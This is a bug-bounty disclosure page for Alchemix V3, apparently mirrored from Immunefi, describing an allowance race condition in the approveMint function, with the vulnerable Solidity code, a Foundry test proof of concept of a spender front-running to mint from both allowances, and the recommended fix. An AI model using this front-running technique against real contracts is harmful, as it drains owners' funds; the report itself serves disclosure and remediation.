Skip to content
Race condition Audit finding Intermediate

Function approvemint is vulnerable to race conditions

The approveMint function sets a new mint allowance directly, so a spender can front-run the owner's allowance change and spend both the old and new allowances. An attacker could mint more tokens than the owner intended, causing a loss of funds for the owner.

PotEater Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

56895 sc insight function approvemint is vulnerable to race conditions

Submitted on Oct 21st 2025 at 15:25:47 UTC by @PotEater for Audit Comp | Alchemix V3

Description

Brief/Intro

The function approveMint is vulnerable to the classic ERC20 approve race condition, where the spender front-runs the owner, while resetting to a new allowance. Spending both allowances.

Vulnerability Details

The function is vulnerable to the classic ERC20 approve race condition.

When Bob approves Alice 200 tokens and then decides to approve to a new value, let's say 300.

Alice may see this tx of 300 approval in the mempool, she could front-run Bob, spending her 200 tokens allowance and then she receives again 300 tokens allowance.

Bob intended to approve Alice only 200 tokens, but Alice ends up with 500 tokens total.

Code snippet:

Solidity
    function _approveMint(uint256 ownerTokenId, address spender, uint256 amount) internal {
        Account storage account = _accounts[ownerTokenId];
        account.mintAllowances[account.allowancesVersion][spender] = amount; 
        emit ApproveMint(ownerTokenId, spender, amount);
    }

Impact Details

The impact is loss of funds for the owner..

It is a security best practice to increase/decrease allowance instead of setting straight to a new allowance.

References

https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L962

Proof of Concept

Proof of Concept

Add this PoC in the AlchemistV3.t.sol test file:

Solidity
    function test_PoC(uint256 amount) external {
        amount = bound(amount, FIXED_POINT_SCALAR, accountFunds);
        uint256 ltv = 2e17;

        vm.startPrank(externalUser);
        SafeERC20.safeApprove(address(vault), address(alchemist), amount + 100e18);

        alchemist.deposit(amount, externalUser, 0);

        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(externalUser, address(alchemistNFT));

        alchemist.approveMint(tokenId, address(0xbeef), (amount + 100e18) / 2);
        vm.stopPrank();

        vm.startPrank(address(0xbeef));
        alchemist.mintFrom(tokenId, (((amount * ltv) / 2) / FIXED_POINT_SCALAR), externalUser);
        vm.stopPrank();

        vm.startPrank(externalUser);
        alchemist.approveMint(tokenId, address(0xbeef), (amount + 100e18) / 2);
        vm.stopPrank();

        vm.startPrank(address(0xbeef));
        alchemist.mintFrom(tokenId, (((amount * ltv) / 2) / FIXED_POINT_SCALAR), externalUser);
        vm.stopPrank();
    }

This PoC demonstrates how 0xbeef would front-run externalUser, minting from both allowances.

The original report as published on Immunefi, by PotEater. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The function sets the allowance to a new value directly instead of adjusting it by increasing or decreasing, which allows a front-running spender to use both the old and new allowances.

Impact

The owner could lose funds because the spender may obtain both the old and new allowances, exceeding the intended amount.

What the attacker needed

Spender can front-run owner's transaction; owner changes an existing allowance

The fix

The allowance should be increased or decreased rather than set directly to a new value.

How it was found

  1. Owner approves spender for an initial amount.
  2. Spender observes the owner's transaction to change the allowance to a new value.
  3. Spender front-runs by spending the initial allowance.
  4. Owner's transaction sets the new allowance.
  5. Spender spends the new allowance as well.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you approve someone to spend a certain amount of your tokens, changing that approval to a new number can be risky. If the person sees your change coming, they can quickly spend the old amount before the new one takes effect, getting both. This report shows that the approveMint function has this same problem.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by PotEater

View all

13 more disclosed reports, best first.

More from Alchemix V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.